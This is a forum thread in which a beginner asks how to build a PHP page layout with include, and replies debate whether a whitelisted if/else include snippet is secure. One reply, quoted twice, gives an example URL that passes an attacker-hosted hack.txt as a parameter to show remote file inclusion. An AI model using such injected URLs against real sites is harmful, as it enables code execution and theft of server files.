Jump to content

Creating a simple PHP layout (I'm new to PHP)


drifblim

Recommended Posts

Greetings. I've been doing web design (HTML, CSS) for about 7 years as a hobby, never professionally, and I've never learnt PHP (I've seldom had server access to use it). I hope to one day (perhaps starting now?) learn the basics of PHP and to employ useful/necessary PHP techniques into future web designs.

 

At the moment I just need help creating a basic web layout using the Include function while still remaining secure. I've come here because I had trouble finding any good tutorials on the internet - I could find very few tutorials and those that I found were lacking vital information; I tried following the tutorials but ended up stuck or confused.

 

I want to make a typical, simple PHP layout template -- Header and Footer (simple enough), Content (i.e. the area where the pages I want to be accessed appear) and a navigation bar (with links which Include PHP files to be displayed in the Content area, e.g. href="index.php?content=example").

 

I don't want all the content to be included in one single file like one tutorial suggested. I want each hyperlink to open content from separate PHP files. I think this is fairly obvious but I'm just making this clear.  :)

 

I hope I'm doing the right thing by posting this here and I hope all of this made sense. I'm not savvy with PHP or PHP jargon. I'll also mention that I did a search through the forums for any tutorials/guides but I wasn't able to find any, unfortunately.

 

Thank you in advance for your help.

Link to comment
Share on other sites

<?PHP include('header.php');

if($_GET['content'] == 'example')
     include('example.php');
else if($_GET['content'] == 'anotherexample')
     include('anotherexample.php');

include('footer.php');
?>

Link to comment
Share on other sites

Thanks for the link. I tried the code that Masna gave me and it works the way I want it to. I'm still not sure how his code is allegedly unsecure, and if it is I'd like a short explanation and a solution if possible. Thank you very much for the help.

Link to comment
Share on other sites

back in the back people use to

that code above is very bad! security issues!

 

Care to elaborate?

 

okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server...

 

let me explain how it works...

hack code will be in file called hack.txt

your url will read...

http://www.site.com/page.php?template=index.php

all I would have to do is...

http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want...

 

its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want.

 

 

 

----

 

apologize, I miss read your code, its some what security proof although not a way I would do it.

Link to comment
Share on other sites

back in the back people use to

that code above is very bad! security issues!

 

Care to elaborate?

 

okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server...

 

let me explain how it works...

hack code will be in file called hack.txt

your url will read...

http://www.site.com/page.php?template=index.php

all I would have to do is...

http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want...

 

its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want.

 

 

 

----

 

apologize, I miss read your code, its some what security proof although not a way I would do it.

 

LOL!

 

Did you even read the code I posted? I didn't include whatever was filled in the appropriate $_GET variable, I used an if--else-if to check to see if whatever was filled in the appropriate $_GET variable matched one of a few various, specific cases.

 

Pay attention, and apply what you know to situations which you encounter in life. Don't just regurgitate what you know from what has happened in potentially similar cases. It's a very easy trap to fall into. And it makes you look quite stupid.

 

apologize, I miss read your code, its some what security proof although not a way I would do it.

 

I appreciate the apology. And, it's completely "security proof." Why wouldn't you do it? It's organized, simple, and effective.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.